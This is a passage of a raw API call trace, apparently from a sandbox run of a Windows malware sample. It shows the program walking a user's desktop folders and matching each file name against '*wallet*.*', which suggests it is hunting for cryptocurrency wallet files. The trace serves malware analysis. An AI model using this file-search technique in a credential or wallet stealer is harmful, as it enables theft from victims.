lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.610] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aafd530, ftCreationTime.dwHighDateTime=0x1d7ab0e, ftLastAccessTime.dwLowDateTime=0x6ccdf970, ftLastAccessTime.dwHighDateTime=0x1d7afd2, ftLastWriteTime.dwLowDateTime=0x6ccdf970, ftLastWriteTime.dwHighDateTime=0x1d7afd2, nFileSizeHigh=0x0, nFileSizeLow=0xac6, dwReserved0=0x0, dwReserved1=0x0, cFileName="0AEOYBW.gif", cAlternateFileName="")) returned 1 [0146.610] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.610] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.610] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0AEOYBW.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif" [0146.610] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.610] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.610] lstrcatW (in: lpString1="\\", lpString2="0AEOYBW.gif" | out: lpString1="\\0AEOYBW.gif") returned="\\0AEOYBW.gif" [0146.610] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.610] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x33400d0 [0146.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", lpUsedDefaultChar=0x0) returned 43 [0146.611] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.611] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.611] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.611] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e20 [0146.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.611] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340560 [0146.611] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e20 | out: hHeap=0x2360000) returned 1 [0146.611] PathMatchSpecW (pszFile="0AEOYBW.gif", pszSpec="*wallet*.*") returned 0 [0146.615] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0146.615] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.615] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00098c0, ftCreationTime.dwHighDateTime=0x1d7a6cb, ftLastAccessTime.dwLowDateTime=0xa172ad00, ftLastAccessTime.dwHighDateTime=0x1d7ac4f, ftLastWriteTime.dwLowDateTime=0xa172ad00, ftLastWriteTime.dwHighDateTime=0x1d7ac4f, nFileSizeHigh=0x0, nFileSizeLow=0xd5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="0pw9-hL.rtf", cAlternateFileName="")) returned 1 [0146.615] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.615] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.615] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0pw9-hL.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf" [0146.615] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.615] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.616] lstrcatW (in: lpString1="\\", lpString2="0pw9-hL.rtf" | out: lpString1="\\0pw9-hL.rtf") returned="\\0pw9-hL.rtf" [0146.616] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.616] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x33400d0 [0146.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", lpUsedDefaultChar=0x0) returned 43 [0146.616] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.616] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.616] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.616] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e40 [0146.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.616] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340588 [0146.616] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e40 | out: hHeap=0x2360000) returned 1 [0146.616] PathMatchSpecW (pszFile="0pw9-hL.rtf", pszSpec="*wallet*.*") returned 0 [0146.616] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340588 | out: hHeap=0x2360000) returned 1 [0146.616] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.616] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf526a000, ftCreationTime.dwHighDateTime=0x1d7b433, ftLastAccessTime.dwLowDateTime=0xf526a000, ftLastAccessTime.dwHighDateTime=0x1d7b433, ftLastWriteTime.dwLowDateTime=0xcf909b00, ftLastWriteTime.dwHighDateTime=0x1d7b421, nFileSizeHigh=0x0, nFileSizeLow=0x92400, dwReserved0=0x0, dwReserved1=0x0, cFileName="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cAlternateFileName="7859D0~1.EXE")) returned 1 [0146.616] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.617] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.617] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.617] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.617] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.617] lstrcatW (in: lpString1="\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.617] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xd0) returned 0x23604a0 [0146.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0146.617] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x64) returned 0x23611c0 [0146.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x23611c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", lpUsedDefaultChar=0x0) returned 100 [0146.617] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x2361230 [0146.617] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.617] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.617] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e80 [0146.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e80, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.617] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403a8 [0146.617] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e80 | out: hHeap=0x2360000) returned 1 [0146.617] PathMatchSpecW (pszFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", pszSpec="*wallet*.*") returned 0 [0146.617] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403a8 | out: hHeap=0x2360000) returned 1 [0146.617] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361230 | out: hHeap=0x2360000) returned 1 [0146.618] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x767b4af0, ftCreationTime.dwHighDateTime=0x1d7aa31, ftLastAccessTime.dwLowDateTime=0xd2fd0c00, ftLastAccessTime.dwHighDateTime=0x1d7aa9f, ftLastWriteTime.dwLowDateTime=0xd2fd0c00, ftLastWriteTime.dwHighDateTime=0x1d7aa9f, nFileSizeHigh=0x0, nFileSizeLow=0x2b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="82JEM7uGSBUD5y.jpg", cAlternateFileName="82JEM7~1.JPG")) returned 1 [0146.618] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.618] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.618] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg" [0146.618] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.618] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.618] lstrcatW (in: lpString1="\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="\\82JEM7uGSBUD5y.jpg") returned="\\82JEM7uGSBUD5y.jpg" [0146.618] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0146.618] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x32) returned 0x32bafe0 [0146.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x32bafe0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", lpUsedDefaultChar=0x0) returned 50 [0146.618] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba3d8 [0146.618] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bafe0 | out: hHeap=0x2360000) returned 1 [0146.618] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.618] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340c40 [0146.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340c40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.618] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340358 [0146.618] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c40 | out: hHeap=0x2360000) returned 1 [0146.618] PathMatchSpecW (pszFile="82JEM7uGSBUD5y.jpg", pszSpec="*wallet*.*") returned 0 [0146.618] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340358 | out: hHeap=0x2360000) returned 1 [0146.619] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba3d8 | out: hHeap=0x2360000) returned 1 [0146.619] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0b205c0, ftCreationTime.dwHighDateTime=0x1d7aa86, ftLastAccessTime.dwLowDateTime=0x93584e20, ftLastAccessTime.dwHighDateTime=0x1d7acf2, ftLastWriteTime.dwLowDateTime=0x93584e20, ftLastWriteTime.dwHighDateTime=0x1d7acf2, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DlSlQ4DWJEgioA.bmp", cAlternateFileName="8DLSLQ~1.BMP")) returned 1 [0146.619] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.619] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.619] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp" [0146.619] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.619] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.619] lstrcatW (in: lpString1="\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="\\8DlSlQ4DWJEgioA.bmp") returned="\\8DlSlQ4DWJEgioA.bmp" [0146.619] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.619] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x33) returned 0x32bb020 [0146.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x32bb020, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", lpUsedDefaultChar=0x0) returned 51 [0146.619] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba2b8 [0146.619] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb020 | out: hHeap=0x2360000) returned 1 [0146.619] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.619] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340ea0 [0146.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340ea0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.619] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0146.619] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ea0 | out: hHeap=0x2360000) returned 1 [0146.620] PathMatchSpecW (pszFile="8DlSlQ4DWJEgioA.bmp", pszSpec="*wallet*.*") returned 0 [0146.620] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340380 | out: hHeap=0x2360000) returned 1 [0146.620] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba2b8 | out: hHeap=0x2360000) returned 1 [0146.620] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="avdtAoxV8CAmzwyXqi1", cAlternateFileName="AVDTAO~1")) returned 1 [0146.620] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.620] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.620] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.620] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.620] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.620] lstrcatW (in: lpString1="\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.620] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2=".") returned 1 [0146.620] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2="..") returned 1 [0146.620] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.620] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*" [0146.620] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8825b0 [0146.621] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.621] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.621] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\." [0146.621] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.621] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.621] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\.") returned="\\avdtAoxV8CAmzwyXqi1\\." [0146.621] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.621] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.621] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.621] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: 